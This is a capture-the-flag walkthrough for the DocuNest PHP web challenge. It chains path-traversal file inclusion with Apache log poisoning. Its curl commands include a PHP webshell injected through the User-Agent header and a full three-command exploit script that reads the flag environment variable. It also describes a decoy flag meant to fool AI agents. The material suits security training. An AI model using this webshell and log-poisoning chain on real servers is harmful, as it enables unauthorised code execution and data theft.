DocuNest
DocuNest
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection
Summary
Walkthrough of the CUSTOM Web DocuNest. Task: Collaborative documentation platform with a docs viewer that uses PHP include() with unsanitized file parameter, enabling LFI. Flag is stored as an environment variable and in /root/flag.txt (ch
Description
DocuNest is a collaborative knowledge base platform built by NestWare Solutions. Teams use it to create, organize, and share technical documentation with features including a rich article editor, categories, tags, comments, search, and a built-in documentation viewer for browsing published guides. Your goal is to find and exploit vulnerabilities in the platform to retrieve the flag stored on the server.
DocuNest is a PHP 8.1 application running on Alpine Linux with Apache/2.4.65 behind an nginx/1.25.5 reverse proxy, using SQLite for data storage. The application provides a Dashboard, Articles, Docs, and Search pages. The Docs page is the primary attack surface — it loads documentation files via a server-side API endpoint that uses PHP's include() function with an unsanitized file parameter.
Credentials: user@test.com / password123
Analysis
Application Features
| Feature | Endpoint | Purpose |
|---|---|---|
| Dashboard | / | Overview with articles, categories, recent activity |
| Articles | /articles | Create, edit, organize technical documentation |
| Docs | /docs | LFI vector — documentation viewer with sidebar listing .md files |
| Search | /search | Full-text search across articles |
| Docs API | GET /api/docs/view?file= | Vulnerable endpoint — loads files via PHP include() |
| |
Tech Stack
- PHP 8.1, Apache/2.4.65 with mod_php81, nginx/1.25.5 reverse proxy, Alpine Linux, SQLite
- DocumentRoot:
/app/public .htaccesswithAllowOverride All— standard rewrite rules routing throughindex.php
Reconnaissance Findings
Documentation viewer behavior:
- The Docs page sidebar lists files:
api-reference.md,deployment.md,faq.md,getting-started.md - Clicking a doc triggers:
fetch('/api/docs/view?file=' + encodeURIComponent(file)) - The
fileparameter is passed directly to PHP'sinclude()without sanitization
Key evidence that include() is used (not file_get_contents()):
- Including PHP files (e.g.,
index.php,seed.php) via LFI returns empty content — the PHP code executes server-side and produces no output, rather than being returned as raw source code - This is the critical prerequisite for log poisoning: any PHP code in included files will be executed
Flag storage (from /app/start.sh):
bash read-only • copy allowedecho "$FLAG" > /root/flag.txt chmod 600 /root/flag.txt
- Flag exists as environment variable
FLAGand in/root/flag.txt(root-only, chmod 600) - Simple file read won't work — the web server process can't read
/root/flag.txt - RCE is required to either read the env var or escalate privileges
Decoy flag trap:
- Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs - Designed to trick automated tools and AI agents into reporting a fake flag
Apache Configuration (from /etc/apache2/httpd.conf)
Key details relevant to the exploit:
LogFormat "%h %l %u %t \"%r\" %>s %b %{Referer}i %{User-Agent}i" combined— User-Agent is loggedCustomLog /var/log/apache2/access.log combined— log path confirmedErrorLog /var/log/apache2/error.logmod_php81loaded — PHP execution within included files
Solution
Step 1: Login and Confirm LFI
bash read-only • copy allowed# Login and get session cookie TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io" curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" -L # Confirm path traversal / LFI curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../etc/passwd"
Response confirms Alpine Linux:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
Simple ../ traversal works. No filter bypass needed (double-dot ....// is not required).
Step 2: Verify Apache Log Accessibility
bash read-only • copy allowedcurl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log"
The access log is readable and contains User-Agent strings from all requests. This confirms both prerequisites for log poisoning:
- Log file is readable via LFI
- User-controlled data (User-Agent) is written to the log
Step 3: Poison the Apache Access Log
Inject a PHP webshell into the User-Agent header:
bash read-only • copy allowedcurl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
Critical detail about quoting: Apache's mod_log_config escapes double quotes in logged header values (" → \"), which would break PHP syntax like $_GET["cmd"]. Using single quotes ($_GET['cmd']) avoids this because Apache does NOT escape single quotes in log entries.
After this request, the access log contains a line like:
172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - <?php system($_GET['cmd']); ?>
Step 4: Trigger RCE via Log Inclusion
Include the poisoned log file while passing a command via the cmd parameter:
bash read-only • copy allowedcurl -sk -b cookies.txt \ "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"
When PHP's include() processes the access log:
- It reads the log file as PHP source
- Everything outside
<?php ... ?>tags is output as plain text (the normal log lines) - When it hits the
<?php system($_GET['cmd']); ?>in the User-Agent field, it enters PHP mode system('printenv FLAG')executes, printing the environment variable value
The response contains the flag embedded in the log output:
172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - FLAG{REDACTED}
Complete Exploit (3 commands)
bash read-only • copy allowed#!/bin/bash TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io" # 1. Login curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" -L # 2. Poison Apache access log with PHP webshell in User-Agent curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>" # 3. Include poisoned log → RCE → read FLAG env var curl -sk -b cookies.txt \ "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"
Key Takeaways / Lessons
- Mastering apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • DocuNest • Difficulty: Medium